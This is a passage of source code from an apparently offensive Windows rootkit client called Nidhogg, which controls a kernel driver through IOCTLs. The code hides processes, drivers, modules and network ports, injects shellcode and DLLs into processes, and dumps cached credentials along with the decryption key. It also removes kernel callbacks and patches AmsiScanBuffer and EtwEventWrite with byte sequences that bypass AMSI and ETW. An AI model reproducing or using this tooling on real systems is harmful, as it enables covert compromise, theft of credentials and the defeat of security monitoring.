NidhoggErrorCodes* success) { 70 | PsRoutinesList routines{}; 71 | DWORD returned; 72 | routines.Type = callbackType; 73 | routines.Routines = (PsRoutine*)malloc(MAX_ROUTINES * sizeof(PsRoutine)); 74 | 75 | if (!routines.Routines) { 76 | *success = NIDHOGG_GENERAL_ERROR; 77 | return routines; 78 | } 79 | memset(routines.Routines, 0, MAX_ROUTINES * sizeof(PsRoutine)); 80 | 81 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_PSROUTINES, 82 | &routines, sizeof(routines), 83 | &routines, sizeof(routines), &returned, nullptr)) { 84 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 85 | free(routines.Routines); 86 | return routines; 87 | } 88 | *success = NIDHOGG_SUCCESS; 89 | 90 | return routines; 91 | } 92 | 93 | ObCallbacksList NidhoggInterface::ListObCallbacks(CallbackType callbackType, NidhoggErrorCodes* success) { 94 | ObCallbacksList callbacks{}; 95 | DWORD returned; 96 | callbacks.NumberOfCallbacks = 0; 97 | callbacks.Type = callbackType; 98 | 99 | if (callbackType == ObProcessType || callbackType == ObThreadType) { 100 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_OBCALLBACKS, 101 | &callbacks, sizeof(callbacks), 102 | &callbacks, sizeof(callbacks), &returned, nullptr)) { 103 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 104 | return callbacks; 105 | } 106 | 107 | if (callbacks.NumberOfCallbacks > 0) { 108 | callbacks.Callbacks = (ObCallback*)malloc(callbacks.NumberOfCallbacks * sizeof(ObCallback)); 109 | 110 | if (!callbacks.Callbacks) { 111 | *success = NIDHOGG_GENERAL_ERROR; 112 | return callbacks; 113 | } 114 | memset(callbacks.Callbacks, 0, callbacks.NumberOfCallbacks * sizeof(ObCallback)); 115 | 116 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_OBCALLBACKS, 117 | &callbacks, sizeof(callbacks), 118 | &callbacks, sizeof(callbacks), &returned, nullptr)) { 119 | free(callbacks.Callbacks); 120 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 121 | return callbacks; 122 | } 123 | } 124 | } 125 | 126 | *success = NIDHOGG_SUCCESS; 127 | return callbacks; 128 | } 129 | -------------------------------------------------------------------------------- /NidhoggClient/NidhoggClient.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {67f619f9-91ab-437b-92c7-3de51d4110e0} 25 | NidhoggClient 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | Use 122 | pch.h 123 | stdcpp20 124 | MultiThreaded 125 | 126 | 127 | Console 128 | true 129 | true 130 | true 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | Create 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /NidhoggClient/NidhoggClient.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | -------------------------------------------------------------------------------- /NidhoggClient/NidhoggFile.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | NidhoggErrorCodes NidhoggInterface::FileProtect(wchar_t* filePath) { 5 | DWORD returned; 6 | ProtectedFile protectedFile = { filePath, true }; 7 | 8 | if (wcslen(filePath) > MAX_PATH) 9 | return NIDHOGG_INVALID_INPUT; 10 | 11 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_FILE, 12 | &protectedFile, sizeof(protectedFile), 13 | nullptr, 0, &returned, nullptr)) 14 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 15 | 16 | return NIDHOGG_SUCCESS; 17 | } 18 | 19 | NidhoggErrorCodes NidhoggInterface::FileUnprotect(wchar_t* filePath) { 20 | DWORD returned; 21 | ProtectedFile protectedFile = { filePath, false }; 22 | 23 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_FILE, 24 | &protectedFile, sizeof(protectedFile), 25 | nullptr, 0, &returned, nullptr)) 26 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 27 | 28 | return NIDHOGG_SUCCESS; 29 | } 30 | 31 | NidhoggErrorCodes NidhoggInterface::FileClearAllProtection() { 32 | DWORD returned; 33 | 34 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_FILE_PROTECTION, 35 | nullptr, 0, nullptr, 0, &returned, nullptr)) 36 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 37 | 38 | return NIDHOGG_SUCCESS; 39 | } 40 | 41 | std::vector NidhoggInterface::QueryFiles() { 42 | DWORD returned; 43 | FileItem result{}; 44 | std::vector files; 45 | int amountOfFiles = 0; 46 | result.FileIndex = 0; 47 | 48 | if (!DeviceIoControl(hNidhogg, IOCTL_QUERY_FILES, 49 | nullptr, 0, 50 | &result, sizeof(result), &returned, nullptr)) { 51 | 52 | files.push_back(std::to_wstring(NIDHOGG_ERROR_DEVICECONTROL_DRIVER)); 53 | return files; 54 | } 55 | 56 | amountOfFiles = result.FileIndex; 57 | 58 | if (amountOfFiles == 0) 59 | return files; 60 | 61 | files.push_back(std::wstring(result.FilePath)); 62 | result.FilePath[0] = L'\0'; 63 | 64 | for (int i = 1; i < amountOfFiles; i++) { 65 | result.FileIndex = i; 66 | 67 | if (!DeviceIoControl(hNidhogg, IOCTL_QUERY_FILES, 68 | nullptr, 0, 69 | &result, sizeof(result), &returned, nullptr)) { 70 | 71 | files.clear(); 72 | files.push_back(std::to_wstring(NIDHOGG_ERROR_DEVICECONTROL_DRIVER)); 73 | return files; 74 | } 75 | 76 | files.push_back(std::wstring(result.FilePath)); 77 | result.FilePath[0] = L'\0'; 78 | } 79 | 80 | return files; 81 | } -------------------------------------------------------------------------------- /NidhoggClient/NidhoggIoctls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define IOCTL_PROTECT_UNPROTECT_PROCESS CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) 4 | #define IOCTL_CLEAR_PROCESS_PROTECTION CTL_CODE(0x8000, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 5 | #define IOCTL_HIDE_UNHIDE_PROCESS CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 6 | #define IOCTL_ELEVATE_PROCESS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 7 | #define IOCTL_SET_PROCESS_SIGNATURE_LEVEL CTL_CODE(0x8000, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) 8 | #define IOCTL_QUERY_PROTECTED_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) 9 | 10 | #define IOCTL_PROTECT_UNPROTECT_THREAD CTL_CODE(0x8000, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) 11 | #define IOCTL_CLEAR_THREAD_PROTECTION CTL_CODE(0x8000, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) 12 | #define IOCTL_HIDE_UNHIDE_THREAD CTL_CODE(0x8000, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) 13 | #define IOCTL_QUERY_PROTECTED_THREADS CTL_CODE(0x8000, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) 14 | 15 | #define IOCTL_PROTECT_UNPROTECT_FILE CTL_CODE(0x8000, 0x80A, METHOD_BUFFERED, FILE_ANY_ACCESS) 16 | #define IOCTL_CLEAR_FILE_PROTECTION CTL_CODE(0x8000, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS) 17 | #define IOCTL_QUERY_FILES CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) 18 | 19 | #define IOCTL_PROTECT_REGITEM CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) 20 | #define IOCTL_UNPROTECT_REGITEM CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) 21 | #define IOCTL_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) 22 | #define IOCTL_QUERY_REGITEMS CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) 23 | 24 | #define IOCTL_PATCH_MODULE CTL_CODE(0x8000, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) 25 | #define IOCTL_INJECT_SHELLCODE CTL_CODE(0x8000, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) 26 | #define IOCTL_INJECT_DLL CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) 27 | #define IOCTL_HIDE_MODULE CTL_CODE(0x8000, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) 28 | #define IOCTL_HIDE_UNHIDE_DRIVER CTL_CODE(0x8000, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS) 29 | #define IOCTL_DUMP_CREDENTIALS CTL_CODE(0x8000, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS) 30 | 31 | #define IOCTL_LIST_OBCALLBACKS CTL_CODE(0x8000, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS) 32 | #define IOCTL_LIST_PSROUTINES CTL_CODE(0x8000, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS) 33 | #define IOCTL_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x819, METHOD_BUFFERED, FILE_ANY_ACCESS) 34 | #define IOCTL_REMOVE_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS) 35 | #define IOCTL_ENABLE_DISABLE_ETWTI CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS) 36 | 37 | #define IOCTL_HIDE_UNHIDE_PORT CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) 38 | #define IOCTL_CLEAR_HIDDEN_PORTS CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) 39 | #define IOCTL_QUERY_HIDDEN_PORTS CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS) 40 | 41 | #define IOCTL_EXEC_SCRIPT CTL_CODE(0x8000, 0x81F, METHOD_BUFFERED, FILE_ANY_ACCESS) -------------------------------------------------------------------------------- /NidhoggClient/NidhoggMemory.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | std::vector NidhoggInterface::DumpCredentials(DesKeyInformation* desKey, NidhoggErrorCodes* status) { 5 | *status = NIDHOGG_SUCCESS; 6 | OutputCredentials currentOutputCreds{}; 7 | Credentials currentCreds{}; 8 | std::vector credentials; 9 | DWORD returned = 0; 10 | DWORD credSize = 0; 11 | DWORD index = 0; 12 | 13 | // Generating cached credentials. 14 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS, 15 | nullptr, 0, &credSize, sizeof(credSize), &returned, nullptr)) { 16 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 17 | return std::vector(); 18 | } 19 | 20 | if (credSize == 0) { 21 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 22 | return std::vector(); 23 | } 24 | 25 | // Get 3DES key. 26 | desKey->Size = 0; 27 | desKey->Data = NULL; 28 | 29 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS, 30 | nullptr, 0, desKey, sizeof(DesKeyInformation), &returned, nullptr)) { 31 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 32 | return std::vector(); 33 | } 34 | 35 | if (desKey->Size == 0) { 36 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 37 | return std::vector(); 38 | } 39 | 40 | desKey->Data = (PVOID)malloc(desKey->Size); 41 | 42 | if (!desKey->Data) { 43 | *status = NIDHOGG_GENERAL_ERROR; 44 | return std::vector(); 45 | } 46 | 47 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS, 48 | desKey, sizeof(DesKeyInformation), desKey, sizeof(DesKeyInformation), &returned, nullptr)) { 49 | free(desKey->Data); 50 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 51 | return std::vector(); 52 | } 53 | 54 | // Get credentials. 55 | for (index = 0; index < credSize; index++) { 56 | currentOutputCreds.Index = index; 57 | currentOutputCreds.Creds.Username.Buffer = NULL; 58 | currentOutputCreds.Creds.Username.Length = 0; 59 | currentOutputCreds.Creds.Domain.Buffer = NULL; 60 | currentOutputCreds.Creds.Domain.Length = 0; 61 | currentOutputCreds.Creds.EncryptedHash.Buffer = NULL; 62 | currentOutputCreds.Creds.EncryptedHash.Length = 0; 63 | 64 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS, 65 | ¤tOutputCreds, sizeof(currentOutputCreds), ¤tOutputCreds, sizeof(currentOutputCreds), 66 | &returned, nullptr)) { 67 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 68 | break; 69 | } 70 | 71 | currentOutputCreds.Creds.Username.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.Username.Length); 72 | 73 | if (!currentOutputCreds.Creds.Username.Buffer) { 74 | *status = NIDHOGG_GENERAL_ERROR; 75 | break; 76 | } 77 | 78 | currentOutputCreds.Creds.Domain.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.Domain.Length); 79 | 80 | if (!currentOutputCreds.Creds.Domain.Buffer) { 81 | *status = NIDHOGG_GENERAL_ERROR; 82 | free(currentOutputCreds.Creds.Username.Buffer); 83 | break; 84 | } 85 | 86 | currentOutputCreds.Creds.EncryptedHash.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.EncryptedHash.Length); 87 | 88 | if (!currentOutputCreds.Creds.EncryptedHash.Buffer) { 89 | *status = NIDHOGG_GENERAL_ERROR; 90 | free(currentOutputCreds.Creds.Username.Buffer); 91 | free(currentOutputCreds.Creds.Domain.Buffer); 92 | break; 93 | } 94 | 95 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS, 96 | ¤tOutputCreds, sizeof(currentOutputCreds), ¤tOutputCreds, sizeof(currentOutputCreds), 97 | &returned, nullptr)) { 98 | 99 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 100 | free(currentOutputCreds.Creds.Username.Buffer); 101 | free(currentOutputCreds.Creds.Domain.Buffer); 102 | free(currentOutputCreds.Creds.EncryptedHash.Buffer); 103 | break; 104 | } 105 | 106 | currentCreds.Username = currentOutputCreds.Creds.Username; 107 | currentCreds.Domain = currentOutputCreds.Creds.Domain; 108 | currentCreds.EncryptedHash = currentOutputCreds.Creds.EncryptedHash; 109 | credentials.push_back(currentCreds); 110 | } 111 | 112 | if (*status != NIDHOGG_SUCCESS) { 113 | for (DWORD i = 0; i < credentials.size(); i++) { 114 | free(credentials[i].Username.Buffer); 115 | free(credentials[i].Domain.Buffer); 116 | free(credentials[i].EncryptedHash.Buffer); 117 | } 118 | free(desKey->Data); 119 | } 120 | 121 | return credentials; 122 | } 123 | 124 | std::wstring NidhoggInterface::ParsePath(wchar_t* path) { 125 | std::wstring result = path; 126 | 127 | if (result.find(LR"(C:\Windows)") != std::wstring::npos) { 128 | result.replace(0, 10, LR"(\SystemRoot)"); 129 | } 130 | else if (result.find(LR"(C:\)") != std::wstring::npos) { 131 | result.replace(0, 3, LR"(\??\C:\)"); 132 | } 133 | return result; 134 | } 135 | 136 | NidhoggErrorCodes NidhoggInterface::HideDriver(wchar_t* driverPath) { 137 | DWORD returned = 0; 138 | HiddenDriverInformation driverInfo{}; 139 | 140 | if (!driverPath) 141 | return NIDHOGG_GENERAL_ERROR; 142 | 143 | if (wcslen(driverPath) > MAX_PATH) 144 | return NIDHOGG_GENERAL_ERROR; 145 | 146 | std::wstring parsedDriverName = ParsePath(driverPath); 147 | driverInfo.DriverName = (WCHAR*)parsedDriverName.data(); 148 | driverInfo.Hide = true; 149 | 150 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_DRIVER, 151 | &driverInfo, sizeof(driverInfo), 152 | nullptr, 0, &returned, nullptr)) 153 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 154 | 155 | return NIDHOGG_SUCCESS; 156 | } 157 | 158 | NidhoggErrorCodes NidhoggInterface::UnhideDriver(wchar_t* driverPath) { 159 | DWORD returned = 0; 160 | HiddenDriverInformation driverInfo{}; 161 | 162 | if (!driverPath) 163 | return NIDHOGG_GENERAL_ERROR; 164 | 165 | if (wcslen(driverPath) > MAX_PATH) 166 | return NIDHOGG_GENERAL_ERROR; 167 | 168 | std::wstring parsedDriverName = this->ParsePath(driverPath); 169 | driverInfo.DriverName = (WCHAR*)parsedDriverName.data(); 170 | driverInfo.Hide = false; 171 | 172 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_DRIVER, 173 | &driverInfo, sizeof(driverInfo), 174 | nullptr, 0, &returned, nullptr)) 175 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 176 | 177 | return NIDHOGG_SUCCESS; 178 | } 179 | 180 | NidhoggErrorCodes NidhoggInterface::HideModule(DWORD pid, wchar_t* modulePath) { 181 | DWORD returned = 0; 182 | HiddenModuleInformation moduleInfo{}; 183 | 184 | if (pid <= 0 || pid == SYSTEM_PID || !modulePath) 185 | return NIDHOGG_GENERAL_ERROR; 186 | 187 | if (wcslen(modulePath) > MAX_PATH) 188 | return NIDHOGG_GENERAL_ERROR; 189 | 190 | moduleInfo.Pid = pid; 191 | moduleInfo.ModuleName = modulePath; 192 | 193 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_MODULE, 194 | &moduleInfo, sizeof(moduleInfo), 195 | nullptr, 0, &returned, nullptr)) 196 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 197 | 198 | return NIDHOGG_SUCCESS; 199 | } 200 | 201 | NidhoggErrorCodes NidhoggInterface::InjectDll(DWORD pid, std::string dllPath, InjectionType injectionType) { 202 | DWORD returned; 203 | DllInformation dllInformation{}; 204 | 205 | if (pid == 0 || pid == SYSTEM_PID || dllPath.empty()) 206 | return NIDHOGG_GENERAL_ERROR; 207 | 208 | if (dllPath.size() > MAX_PATH) 209 | return NIDHOGG_GENERAL_ERROR; 210 | 211 | dllInformation.Type = injectionType; 212 | dllInformation.Pid = pid; 213 | errno_t err = strcpy_s(dllInformation.DllPath, dllPath.c_str()); 214 | 215 | if (err != 0) 216 | return NIDHOGG_GENERAL_ERROR; 217 | 218 | if (!DeviceIoControl(this->hNidhogg, IOCTL_INJECT_DLL, 219 | &dllInformation, sizeof(dllInformation), 220 | nullptr, 0, &returned, nullptr)) { 221 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 222 | } 223 | 224 | return NIDHOGG_SUCCESS; 225 | } 226 | 227 | NidhoggErrorCodes NidhoggInterface::InjectShellcode(DWORD pid, PVOID shellcode, ULONG shellcodeSize, PVOID parameter1, 228 | PVOID parameter2, PVOID parameter3, InjectionType injectionType, ULONG param1Size, ULONG param2Size, ULONG param3Size) { 229 | DWORD returned; 230 | ShellcodeInformation shellcodeInformation{}; 231 | 232 | if (pid == 0 || pid == SYSTEM_PID || !shellcode) 233 | return NIDHOGG_GENERAL_ERROR; 234 | 235 | if (parameter1 && !param1Size || parameter2 && !param2Size || parameter3 && !param3Size) 236 | return NIDHOGG_INVALID_INPUT; 237 | 238 | if (param1Size && !parameter1 || param2Size && !parameter2 || param3Size && !parameter3) 239 | return NIDHOGG_INVALID_INPUT; 240 | 241 | shellcodeInformation.Type = injectionType; 242 | shellcodeInformation.Pid = pid; 243 | shellcodeInformation.ShellcodeSize = shellcodeSize; 244 | shellcodeInformation.Shellcode = shellcode; 245 | shellcodeInformation.Parameter1 = parameter1; 246 | shellcodeInformation.Parameter1Size = param1Size; 247 | shellcodeInformation.Parameter2 = parameter2; 248 | shellcodeInformation.Parameter2Size = param2Size; 249 | shellcodeInformation.Parameter3 = parameter3; 250 | shellcodeInformation.Parameter3Size = param3Size; 251 | 252 | if (!DeviceIoControl(this->hNidhogg, IOCTL_INJECT_SHELLCODE, 253 | &shellcodeInformation, sizeof(shellcodeInformation), 254 | nullptr, 0, &returned, nullptr)) 255 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 256 | 257 | return NIDHOGG_SUCCESS; 258 | } 259 | 260 | NidhoggErrorCodes NidhoggInterface::PatchModule(DWORD pid, wchar_t* moduleName, char* functionName, std::vector patch) { 261 | DWORD returned; 262 | PatchedModule patchedModule{}; 263 | 264 | patchedModule.Pid = pid; 265 | patchedModule.PatchLength = (ULONG)patch.size(); 266 | patchedModule.ModuleName = moduleName; 267 | patchedModule.FunctionName = functionName; 268 | patchedModule.Patch = patch.data(); 269 | 270 | if (pid == 0 || pid == SYSTEM_PID || patchedModule.ModuleName == nullptr || 271 | patchedModule.FunctionName == nullptr || patchedModule.Patch == nullptr) 272 | return NIDHOGG_GENERAL_ERROR; 273 | 274 | if (wcslen(moduleName) > MAX_PATH) 275 | return NIDHOGG_GENERAL_ERROR; 276 | 277 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PATCH_MODULE, 278 | &patchedModule, sizeof(patchedModule), 279 | nullptr, 0, &returned, nullptr)) 280 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 281 | 282 | return NIDHOGG_SUCCESS; 283 | } 284 | 285 | NidhoggErrorCodes NidhoggInterface::AmsiBypass(DWORD pid) { 286 | std::vector patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 287 | return this->PatchModule(pid, (wchar_t*)LR"(C:\Windows\System32\Amsi.dll)", (char*)"AmsiScanBuffer", patch); 288 | } 289 | 290 | NidhoggErrorCodes NidhoggInterface::ETWBypass(DWORD pid) { 291 | std::vector patch = { 0xC3 }; 292 | return this->PatchModule(pid, (wchar_t*)LR"(C:\Windows\System32\Ntdll.dll)", (char*)"EtwEventWrite", patch); 293 | } -------------------------------------------------------------------------------- /NidhoggClient/NidhoggNetwork.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | NidhoggErrorCodes NidhoggInterface::HidePort(USHORT portNumber, PortType portType, bool remote) { 5 | DWORD returned; 6 | InputHiddenPort hiddenPort{}; 7 | hiddenPort.Hide = true; 8 | hiddenPort.Port = portNumber; 9 | hiddenPort.Remote = remote; 10 | hiddenPort.Type = portType; 11 | 12 | 13 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PORT, 14 | &hiddenPort, sizeof(hiddenPort), 15 | nullptr, 0, &returned, nullptr)) 16 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 17 | 18 | return NIDHOGG_SUCCESS; 19 | } 20 | NidhoggErrorCodes NidhoggInterface::UnhidePort(USHORT portNumber, PortType portType, bool remote) { 21 | DWORD returned; 22 | InputHiddenPort hiddenPort{}; 23 | hiddenPort.Hide = false; 24 | hiddenPort.Port = portNumber; 25 | hiddenPort.Remote = remote; 26 | hiddenPort.Type = portType; 27 | 28 | 29 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PORT, 30 | &hiddenPort, sizeof(hiddenPort), 31 | nullptr, 0, &returned, nullptr)) 32 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 33 | 34 | return NIDHOGG_SUCCESS; 35 | } 36 | 37 | NidhoggErrorCodes NidhoggInterface::ClearHiddenPorts() { 38 | DWORD returned; 39 | 40 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_HIDDEN_PORTS, 41 | nullptr, 0, 42 | nullptr, 0, &returned, nullptr)) 43 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 44 | 45 | return NIDHOGG_SUCCESS; 46 | } 47 | 48 | std::vector NidhoggInterface::QueryHiddenPorts() { 49 | DWORD returned; 50 | OutputHiddenPorts rawHiddenPorts{}; 51 | std::vector hiddenPorts; 52 | this->lastError = NIDHOGG_SUCCESS; 53 | 54 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_HIDDEN_PORTS, 55 | nullptr, 0, &rawHiddenPorts, sizeof(rawHiddenPorts), &returned, nullptr)) { 56 | 57 | this->lastError = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 58 | return hiddenPorts; 59 | } 60 | 61 | for (USHORT i = 0; i < rawHiddenPorts.PortsCount; i++) 62 | hiddenPorts.push_back(rawHiddenPorts.Ports[i]); 63 | 64 | return hiddenPorts; 65 | } 66 | -------------------------------------------------------------------------------- /NidhoggClient/NidhoggProcess.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | NidhoggErrorCodes NidhoggInterface::ProcessProtect(DWORD pid) { 5 | DWORD returned; 6 | ProtectedProcess protectedProcess = { pid, true }; 7 | 8 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_PROCESS, &protectedProcess, sizeof(protectedProcess), 9 | nullptr, 0, &returned, nullptr)) 10 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 11 | return NIDHOGG_SUCCESS; 12 | } 13 | 14 | NidhoggErrorCodes NidhoggInterface::ProcessUnprotect(DWORD pid) { 15 | DWORD returned; 16 | ProtectedProcess protectedProcess = { pid, false }; 17 | 18 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_PROCESS, &protectedProcess, sizeof(protectedProcess), 19 | nullptr, 0, &returned, nullptr)) 20 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 21 | return NIDHOGG_SUCCESS; 22 | } 23 | 24 | NidhoggErrorCodes NidhoggInterface::ProcessClearAllProtection() { 25 | DWORD returned; 26 | 27 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_PROCESS_PROTECTION, nullptr, 0, nullptr, 0, &returned, nullptr)) 28 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 29 | return NIDHOGG_SUCCESS; 30 | } 31 | 32 | NidhoggErrorCodes NidhoggInterface::ThreadProtect(DWORD tid) { 33 | DWORD returned; 34 | ProtectedThread protectedThread = { tid, true }; 35 | 36 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_THREAD, &protectedThread, sizeof(protectedThread), 37 | nullptr, 0, &returned, nullptr)) 38 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 39 | return NIDHOGG_SUCCESS; 40 | } 41 | 42 | NidhoggErrorCodes NidhoggInterface::ThreadUnprotect(DWORD tid) { 43 | DWORD returned; 44 | ProtectedThread protectedThread = { tid, false }; 45 | 46 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_THREAD, &protectedThread, sizeof(protectedThread), 47 | nullptr, 0, &returned, nullptr)) 48 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 49 | return NIDHOGG_SUCCESS; 50 | } 51 | 52 | NidhoggErrorCodes NidhoggInterface::ThreadClearAllProtection() { 53 | DWORD returned; 54 | 55 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_THREAD_PROTECTION, nullptr, 0, nullptr, 0, &returned, 